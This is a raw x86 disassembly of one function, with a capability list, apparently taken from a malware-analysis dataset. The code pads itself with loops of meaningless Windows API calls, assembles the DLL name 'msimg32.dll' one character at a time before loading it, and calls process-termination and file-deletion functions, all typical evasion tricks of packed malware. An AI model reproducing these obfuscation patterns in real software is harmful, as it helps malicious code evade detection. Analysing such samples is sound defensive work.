Function at 0x41c5f0
Capabilities:
Copy file
Delete file
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Read pipe
Terminate process
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2250
call fcn.00409120
push ebx
mov ebx, dword [esp + 4]
push ebp
mov ebp, dword [esp + 0x38]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x41c622
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x7a6644], 0x6fb
jne 0x41c63c
push 0
lea eax, [esp + 0x1264]
push eax
push 0
call edi
cmp esi, 0x1e9afa0a
jle 0x41c654
cmp ebx, 0xc10c98
je 0x41c654
cmp ebp, 0x952fcbc
jne 0x41c65d
inc esi
cmp esi, 0x80c66
jl 0x41c614
cmp dword [0x7a6644], 0xcf8
jne 0x41c6d7
push 0x402d50
push 0
call fcn.0040335f
push 0
call fcn.00403280
add esp, 0xc
push 0
push 0
call fcn.00403144
push 0
call fcn.00403354
add esp, 0xc
push 0
push 0
call fcn.00403240
push 0
push 0
call fcn.00403444
push 0x402d5c
push 0x402d60
push 0x422900
call fcn.004030c0
add esp, 0x1c
push 0
push 0
call fcn.00403240
push 0
push 0
call fcn.00403444
push 0
call fcn.0040341c
add esp, 0x14
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x41c6f8
mov eax, 0x5d1
add dword [0x7a6644], eax
cmp dword [0x7a6644], 3
jne 0x41c724
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
push 0x402d68
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
push 0
lea edx, [esp + 0x1268]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x41c6e5
mov eax, dword [0x7a6644]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x427694], eax
mov eax, dword [0x7a6644]
xor esi, esi
test eax, eax
je 0x41c79a
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
lea ecx, [ecx]
cmp eax, 0xfe
jne 0x41c76b
push 0
call ebp
call fcn.0041c180
mov eax, dword [0x7a6644]
cmp eax, 0x29
jne 0x41c795
push 0
push 0
lea ecx, [esp + 0x128]
push ecx
push 0
call edi
push 0
push 0
call ebx
mov eax, dword [0x7a6644]
inc esi
cmp esi, eax
jb 0x41c760
cmp eax, 0x70
jne 0x41c8ac
push 0x402d84
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call edi
push 0
push 0x402d8c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x1260]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea eax, [esp + 0x1a64]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea ecx, [esp + 0x124]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x402da4
push 0x402ddc
call esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0
push 0
lea edx, [esp + 0xa68]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call edi
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x52c]
push edx
push 0
push 0
push 0
mov dword [esp + 0x50], 0
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov eax, dword [0x7a6644]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 0xdf
jne 0x41c9eb
push 0
push 0
push 0
call edi
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x24]
push edx
push eax
push eax
lea ecx, [esp + 0x52c]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebx
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [esp + 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea edx, [esp + 0x18]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea ecx, [esp + 0x124]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x30
lea edx, [esp + 0x3c]
push 0
push edx
mov dword [esp + 0x40], 0
call fcn.00407c20
add esp, 0xc
push 0
lea eax, [esp + 0x38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
lea ecx, [esp + 0xa60]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7a6644]
dec dword [esp + 0x10]
jne 0x41c8d0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
push 0
call edi
push 0
call ebx
dec esi
jne 0x41ca06
mov byte [0x422900], 0
call fcn.0041c090
call fcn.0041c410
mov esi, dword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
xor ebp, ebp
cmp dword [0x7a6644], 0xba
jne 0x41ca81
push 0
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x524]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
lea eax, [esp + 0x138]
push eax
push 0x402df8
call edi
push 0x402e30
push 0
push 0
call ebx
cmp ebp, 0x2f64
jne 0x41ca94
mov eax, 0x4959
add dword [0x427694], eax
inc ebp
cmp ebp, 0x1605a
jl 0x41ca36
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
mov edi, edi
cmp dword [0x7a6644], 0x85
jne 0x41caca
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x41cab0
mov ecx, 0x73
mov edx, 0x6d
mov word [0x7a664a], cx
mov word [0x7a664e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x7a6652], ax
mov word [0x7a665e], dx
mov word [0x7a6650], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x7a6648
mov dword [0x7a6658], 0x6c0064
mov word [0x7a664c], dx
mov word [0x7a6648], ax
mov word [0x7a665c], cx
mov dword [0x7a6654], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7a6644], 0xc30
jne 0x41cc4a
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x920]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
lea edx, [esp + 0x524]
push edx
push 0x402e6c
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x1c]
push eax
push ebx
lea ecx, [esp + 0x12c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
lea edx, [esp + 0xa64]
push edx
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x402e94
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0x402eb4
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea ecx, [esp + 0x1a64]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push 0x402ef0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea eax, [esp + 0x1264]
push eax
push 0x402fa0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x18]
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret